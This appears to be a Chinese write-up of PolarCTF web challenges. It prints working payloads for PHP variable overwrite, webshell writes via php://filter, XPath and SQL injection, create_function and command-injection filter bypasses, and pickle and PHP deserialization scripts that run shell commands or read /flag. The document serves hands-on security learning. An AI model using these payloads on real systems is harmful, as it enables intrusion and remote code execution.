WEB
到底给不给flag呢
复制代码
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
这一题考察变量覆盖,题目给的flag是假的,并且必须要传入一个flag变量,否则会执行exit($qwq),这是使用的是&&,与就是说get和post至少有一个flag参数的传参就会绕过exit语句,这里先用get举例,这里传入?flag=qwq,
此时满足$_GET['flag'],并且参数值不是flag,然后进行foreach,
这里key=flag,vallue=qwq,$$key=flag,value=qwq=我想要flag
key=flag=$$value=$qwq=我想要flag
那么最后输出的flag就是我想要flag
到这里就有第一种解法,get传参 ?a=flag&flag=a;
前两个if语句就绕过了,也没有post传参,直接进行get的foreach
有两个
key=a ,value=flag
key=$$value就成了 $a=$flag
key=flag ,value=a
$$key=$$value就成了 $flag=$a,此时$a的值就是flag赋值给$flag
最后输出$flag得到flag
注意这里顺序不能乱,由于$a的值为空,会导致最后输出的$flag为空
然后还有一种比较高级的方法,
get ?flag=a
post _GET\['flag'\]=flag
先了解一下表单字段名与 PHP 的解析规则,get传参在本题中?flag=a会被解析成
$_GET\['flag'\] === 'a'
在常规的post传参中比如 a=b,会被解析为
会被解析为 `$_POST['a'] === 'b'`
键名包含方括号 \[\] 时,它会自动解析为嵌套数组,而不是简单字符串键
`a[b]=v` → `$_POST['a']['b'] === 'v'`。
支持任意层级:`a[b][c]=v` → `$_POST['a']['b']['c'] === 'v'`。
空键表示数组追加:`arr[]=x&arr[]=y` → `$_POST['arr'] === ['x','y']`。
那么_GET\['flag'\]=flag就会被解析为
$_POST\['_GET'\]\['flag'\] = 'flag'
$_POST = [
'_GET' => [ // 顶层键 '_GET'
'flag' => 'flag' // 子键 'flag' 的值为 'flag'
]
];
脚本刚开始
超全局 `$_GET` = `['flag' => 'a']`
超全局 `$_POST` = `['_GET' => ['flag' => 'flag']]`
易知这两个参数能够绕过if语句,然后是
foreach ($_POST as $key => $value) {
$$key = $value;
}
首先键是**$key=_GET, $value= \['flag'='flag'\]**
那么$$key=$_GET 是超全局变量,$$key=$value,此时`$_GET` = `['flag' => 'flag'],就修改了超全局变量,然后进行下一步`
foreach ($_GET as $key => $value) {
$$key = $$value;
}
然后到这里$key=flag,$value=flag
$flag=$flag
然后就输出flag.
##### 写shell
经典死亡绕过,这里使用base64编码绕过
filename=php://filter/write=convert.base64-decode/resource=shell.php
content= aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=
写入后就可以进行rce

利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4= (PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4= base64解码\)
在base64解码过程中,\<\>?""这些符号无法被解码所以会直接绕过,解码的只有phpexit这7个字符,所以在content中衔接一个a,构成8个字符,base64在解码的时候,是4个字节转化为3个字节,又因为死亡代码只有phpexit着7个字节参与了解码,所以补上一位就可以完全转化,转换后死亡代码就是乱码,而后面的代码解码后就是木马。

##### 注入
这一关主要考察XPATH注入,之前没接触过,相关知识点可以看[xpath注入详解 - 渗透测试中心 - 博客园](https://www.cnblogs.com/backlion/p/8554749.html "xpath注入详解 - 渗透测试中心 - 博客园")
就是用万能密码
?id='\]\|//\*\|//\*\['
##### **某函数的复仇**
根据题目提示是应该是要使用某个php代码执行函数,看wp才知道用create_function
$shaw('',$root),表明第一个参数为空
create_function() 是 PHP 中一个用于动态创建匿名函数的内置函数,不过需要注意的是,这个函数在 PHP 7.2.0 中已被废弃,并且在 PHP 8.0.0 中被移除。现在更推荐使用匿名函数(闭包)语法来替代它。
create_function(string $args, string $code): string
第一个参数是空字符串(函数的参数列表为空)。
第二个参数是`$root`,即我们传入的字符串会作为函数体。
function anonymous() { 函数体 }
payload
root=;}system('ca\\t /f\*');/\*
shaw=create_function
这样就等价
function anonymous() { ;}system('ca\t /f*');/* }
;}闭合前面的函数,然后是system函数,最后注释掉后面的}完成闭合
##### xxe
根据题目提示就是考察xxe了,题目给了phpinfo,然后就没啥能干的了,dirsearch扫一下有个dom.php可以访问,得到报错信息
Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/dom.php on line 5
DOMDocument Object ( [doctype] => [implementation] => (object value omitted) [documentElement] => [actualEncoding] => [encoding] => [xmlEncoding] => [standalone] => 1 [xmlStandalone] => 1 [version] => 1.0 [xmlVersion] => 1.0 [strictErrorChecking] => 1 [documentURI] => [config] => [formatOutput] => [validateOnParse] => [resolveExternals] => [preserveWhiteSpace] => 1 [recover] => [substituteEntities] => [nodeName] => #document [nodeValue] => [nodeType] => 9 [parentNode] => [childNodes] => (object value omitted) [firstChild] => [lastChild] => [previousSibling] => [nextSibling] => [attributes] => [ownerDocument] => [namespaceURI] => [prefix] => [localName] => [baseURI] => [textContent] => )
`loadXML()`方法的作用是从字符串加载 XML 内容并解析,如果传入的字符串为空,就会触发这个警告,因为无法解析空内容生成 XML 文档
随便传一个根节点\\

成功解析,这就可以构造payload读取flag
]>
&file;
##### SSTI
根据题目提示知道是模板注入,先测试一下
?name={{7\*7}}
回显49,jinja2模板,fenjing直接一把梭

##### unpickle
ai写个脚本就行了
import pickle
import base64
import requests
import sys
# 目标URL - 改为 HTTP 以避免 SSL 错误(端口 8090 很可能未启用 HTTPS)
url = "http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090"
# 如果没有提供命令作为参数,使用默认的 'cat /flag.txt'
if len(sys.argv) > 1:
command = ' '.join(sys.argv[1:])
else:
command = "cat /flag*"
print(f"使用默认命令: {command}")
print("用法: python script.py 'your_command_here'")
# 定义恶意类,用于pickle反序列化时执行shell命令
class R(object):
def __reduce__(self):
# 执行shell命令并返回输出
return (eval, ('__import__("os").popen("{}").read()'.format(command),))
# 生成payload
data = pickle.dumps(R())
encoded = base64.b64encode(data).decode('utf-8')
print(f"生成的Cookie值: {encoded}")
# 发送请求 - 使用 HTTP
cookies = {'user': encoded}
try:
response = requests.get(url, cookies=cookies, timeout=10, verify=False) # verify=False 以防任何证书问题
print("响应内容:")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
print("尝试手动使用 curl: curl -b 'user={encoded}' http://33f7ff79-3990-4951-bc71-fd78ffaa6414.www.polarctf.com:8090".format(encoded=encoded))
##### BlackMagic
import requests
import re
import urllib.parse
# 目标URL
url = "http://9acda7f8-e7ee-4063-984e-99157d2643e4.www.polarctf.com:8090/BlackMagic.php"
# 第一步:获取页面源代码
response = requests.get(url)
if response.status_code != 200:
print(f"无法访问页面: {response.status_code}")
exit(1)
html = response.text
# 第二步:提取HTML注释中的PHP代码
comment_match = re.search(r'', html, re.DOTALL)
if not comment_match:
print("未找到PHP代码注释")
print("页面内容:", html) # 调试输出
exit(1)
php_code = comment_match.group(1)
# 第三步:提取 $strCharList
charlist_match = re.search(r'\$strCharList\s*=\s*"(.*?)";', php_code, re.DOTALL)
if not charlist_match:
print("未找到 $strCharList")
exit(1)
raw_charlist = charlist_match.group(1)
# 解析PHP转义序列(基本转义)
charlist = raw_charlist.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"')
# 第四步:提取 $strFlag
flag_match = re.search(r'\$strFlag\s*=\s*"(.*?)";', php_code, re.DOTALL)
if not flag_match:
print("未找到 $strFlag")
exit(1)
raw_flag = flag_match.group(1)
# 解析PHP转义序列
str_flag = raw_flag.replace(r'\r', '\r').replace(r'\n', '\n').replace(r'\0', '\0').replace(r'\x0B', '\x0B').replace('\\\\', '\\').replace(r'\"', '"')
# 第五步:实现trim功能(PHP trim移除指定字符,从两端)
char_set = set(charlist)
def php_trim(s, chars):
char_set = set(chars)
# 从开头移除
start = 0
while start < len(s) and s[start] in char_set:
start += 1
# 从结尾移除
end = len(s)
while end > start and s[end - 1] in char_set:
end -= 1
return s[start:end]
str_content = php_trim(str_flag, charlist)
print(f"提取到的trim后内容: {repr(str_content)}") # repr 显示隐藏字符
# 第六步:发送exploit请求
exploit_params = {'strTmp': str_content}
exploit_response = requests.get(url, params=exploit_params)
print("Exploit响应:")
print(exploit_response.text)
##### 反序列化
import requests
import urllib.parse
# 目标URL(替换为实际地址)
url = "http://51b6d2b0-fe67-4874-9588-2ebbfbabdf64.www.polarctf.com:8090/"
# 命令(可自定义:ls、cat flag.txt 等)
command = "env" # 或 "ls" 测试
# 构造恶意代码
malicious_code = f"system('{command}');"
code_length = len(malicious_code)
# 生成序列化 payload
payload = (
f'O:7:"example":1:{{s:6:"handle";O:7:"process":1:{{s:3:"pid";s:{code_length}:"{malicious_code}";}}}}'
)
# URL 编码
encoded_payload = urllib.parse.quote(payload)
# 完整 URL
full_url = f"{url}?data={encoded_payload}"
print(f"Payload: {payload}")
print(f"Encoded: {encoded_payload}")
print(f"Full URL: {full_url}")
# 发送请求
response = requests.get(full_url)
print("响应内容:")
print(response.text)
这里进行rce后列出目录发现没有flag文件,然后看环境变量,有的是一个错的flag,这个应该是题目问题
##### 找找shell
##### 
ai神力,然后蚁剑连接,连不上。扫目录有shell.php。带上shell.php就能连上

##### 再来ping一波啊
经典rce题目,经过初步测试过滤了空格,cat ls index,还有/。字符拼接index.php,ca''t绕过cat,$IFS绕过空格
127.0.0.1;a=inde;b=x.php;ca''t$IFS$a$b
flag在源码里
##### wu
经典取反绕过
?a=(\~%8c%86%8c%8b%9a%92)((\~%93%8c));
?a=(\~%8C%86%8C%8B%9A%92)((\~%9c%9e%8b%df%85%97%9a%8c%97%96%99%93%9e%98%d1%8f%97%8f));
##### 代码审计1
然后有文件包含直接访问上传的图片/index.php?file=uploads/a.jpg
然后一蚁剑连接flag在根目录
##### ezphp
跟上一题很像都是文件上传加文件包含,首先根据页面提示访问robots.txt得到3个路径
```
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images
```
然后上传图片马,上传路径/uploads/images/4.png
然后开始读取文件
在/file/file.php
?filename=../uploads/images/4.png
由于flag不在根目录,并且环境变量的flag是假的,所以用蚁剑连接方便寻找flag,flag在/home/webuser/flag
##### 随机值
Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
这一题只需要让4个属性的值相等就行了,因为代码中 $Polar2 = rand(0,100); $Light = rand(0,100);只是赋值给了局部变量,然后在比较时是通过this-\>属性比较属性的值,这里是局部变量的随机值并不影响属性的值因此只要这4个属性的值相等就行,payload
?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A0%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A0%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A0%3B%7D
##### phpurl
附件给的加密文件名是base64编码,解码是index.phps,访问文件得到代码
Not a good idea!
");
exit();
}
$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "
Welcome to polar LABS!
";
echo "
Flag: XXXXXXX
";
}
?>
what can you find?
这里考查双重编码绕过,xxs双重url编码为%2578%2578%2573,当我们传参后浏览器会自动解码一次变成%78%78%73,通过第一个if,然后urldecode又解码一次通过第二个if
?sys=%2578%2578%2573
##### search
首先判断为单引号闭合,然后发现有过滤,fuzz测试一下发现过滤了 " like from updatexml infromation_schema 空格
当是经过测试可以用大小写绕过关键字过滤,%09然后空格
query=1'%09Union%09select%091,2,database(),4,5#
query=1'%09Union%09select%091,2,group_concat(table_name),4,5%09From%09information_schema.tables%09wHere%09table_schema=database()#
query=1'%09Union%09select%091,2,group_concat(column_name),4,5%09From%09information_schema.columns%09wHere%09table_schema=database()#
query=1'%09Union%09select%091,2,group_concat(Flag),4,5%09From%09Flag#
##### file
根据提示那就dirsearch一下

上传php文件后修改为Content-Type:image/jpeg
然后上传,但是我上传后蚁剑连接不上,官方wp就是这么写的,那就换一种方式,还是同样的方式,文件内容改为
\
上传后就得到flag

##### PlayGame
name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
if(isset($_GET['polar_flag.flag'])){
unserialize($_GET['polar_flag.flag']);
}else{
highlight_file(__FILE__);
}
简单的链子,poc
name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return 1;
//file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
$a = new PlayGame();
$a -> user = new User();
$a -> user -> name = new User();
$a -> user -> name -> name = new PlayGame();
$a -> user -> name -> name -> gameFile = '/flag';
echo serialize($a);
然后就是非法传参
当PHP版本小于8时,如果参数中出现中括号\[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号\[出现在前面,那么中括号\[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
那么最后的payload就是
/?polar\[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:6:"./game";}
flag在源码里
##### csdn
一眼ssrf,用file协议读取flag文件
?xxs=file:///flag.txt
##### Dragon
第一眼时sql注入,根据回显以为是ssti,没想到在cookie里

🤡🤡
##### tnl
这一题我真的吐槽一下出题人了,出的很好下次别出了,都是坑。首先输入以为时sql注入,但是根本就没法下输出大于2后就报错,然后dirsearch扫描

没一个有用的

我以为这是啥重要文件类,然后就看wp直接用php伪协议读取index。
php://filter/convert.base64-encode/resource=index
别问为啥不是index.php
看源码我真绷不住了出题人你真是个,这里直接就拼接一个php所以不用后缀,然后就时这个报错时烟雾弹,最后读flag文件就行了
twothree=php://filter/convert.base64-encode/index/resource=flag
这里根据题目要求要含有index
##### 你知道sys还能这样玩吗

这不是我的问题
##### ExX?
依旧dirsearch起手,有dom.php.一眼xml,这跟xxe一样啊,
]>
&file;
##### EZ_Host
我以为是ssrf类试了很久,扫目录
直接访问/flag就得到flag
##### 传马
看源码是在前端有检验文件后缀,直接上传图片马修改文件后缀为php,然后就可以rce了

##### 笑傲上传
跟上面的差不多,依旧老套路,上传图片马修改后缀,然后有后门文件
上传后直接打开图片得到上传路径upload/4320251111074427.gif,这个因人而异,然后开始文件包含,这里是绝对路经/var/www/html/upload/4320251111074427.gif
然后就进行rce

##### 序列一下
lt;
$a($this->b);
}
}
unserialize($_POST['x']);
highlight_file(__FILE__);
?>
从这段 PHP 代码来看,它定义了一个`Polar`类,其中包含`__destruct`魔术方法。当`Polar`类的实例被销毁时,`__destruct`方法会被调用,该方法会将成员变量`lt`作为函数,并传入成员变量`b`作为参数来执行。
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:7:"cat /f\*";}
##### 坏掉的上传页
这里上传表单不能上传,那就自己写一个
文件上传表单
文件上传
然后上传文件,上传成功后显示

dirsearch扫目录

访问后
访问database.db文件得到上传路径
```
2025-11-11 08:14:28 上传文件路径: ./uploadsabc/file_6912f0648f88b7.54977134.php
```
访问蚁剑连接
flag在/var/www/html/flag{???}文件中
##### xxmmll
dirsearch扫目录,访问文件
##### 
##### Note
扫目录

访问flag.txt得到flag
##### 赌王
首先抓包爆破当摇到三个一样的

然后访问ed3d2c21991e3bef5e069713af9fa6ca.php
然后进入以下页面

在系统能接受范围内无论输入什么都会比输入的大1,然后测试xss
```
```

confirm也是弹窗函数
\
得到进入下一关的地址
然后在源码有提示

随波逐流分析

有地址和4个1联想到xff伪造
x-forward-for:XXF头,代表请求端的ip,可以有多个逗号隔开。
X-Forward-For:1.1.1.1
当不添加时执行命令回显权限不足,然后抓包添加数据命令执行

##### 复读机RCE
尝试执行命令但是一直回显不能说那就echo
echo \`ls /\`
echo \`cat /flag\`
##### xCsMsD
先注册然后登入,抓包看信息

这在cookie有个替换空格换成-,/换成\\,那么命令就成了ls-\\

cat-\\flag
cat 被过滤了用tac
##### coke的登陆
coke??小猫老弟。先看提示账号时coke,还有result.php,没法访问。然后账号时coke,密码时cookie:coke-lishuai
登入后flag在源码里
##### bllbl_rce
尝试了很多命令绕过命令都是no,然后扫目录有/admin/admin.php,可以下载备份文件
Command Query Tool
Command Query Tool
";
system ($command);
echo "";
}
?>
执行的命令要包含bllbl,那就可以构造payload了
bllbl; ls /
bllbl;cat /flag
##### 狗黑子的隐藏
看源码得知有隐藏的输入框,直接抓包就行,初步尝试后发现有过滤过滤了 / cat index
那就读取index.php了
ca''t i''n''d''e''x.php
看wp得知可以写如一句话木马cmd=echo '\' \> a.php
然后蚁剑连接
##### 真假ECR
/i", $cmd))
{
echo("想要什么直接访问试试呢");
exit;
}
system($cmd);
?>
审题啊!.
过滤了很多,但是\\没有过滤,
l\\s /
ca\\t /fla\\g
这是非预期解了,预期解做法参考[https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR](https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR "https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR")
[2025年夏季个人挑战赛PolarCTF-WEB - Sauy's corner](https://sauy.top/2025/06/29/2025%E5%B9%B4%E5%A4%8F%E5%AD%A3%E4%B8%AA%E4%BA%BA%E6%8C%91%E6%88%98%E8%B5%9BPolarCTF-WEB/#%E7%9C%9F%E5%81%87ECR "2025年夏季个人挑战赛PolarCTF-WEB - Sauy's corner")
##### nukaka_ser2
";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
unserialize → 结束时 destruct → debugMode=true → echo logger → toString 读 flag
TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7TjtzOjEwOiIAKgBjb250ZW50IjtOO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=
##### 你也玩铲吗
登入注册后得到提示
|---------------------------------------------------------------------|
| \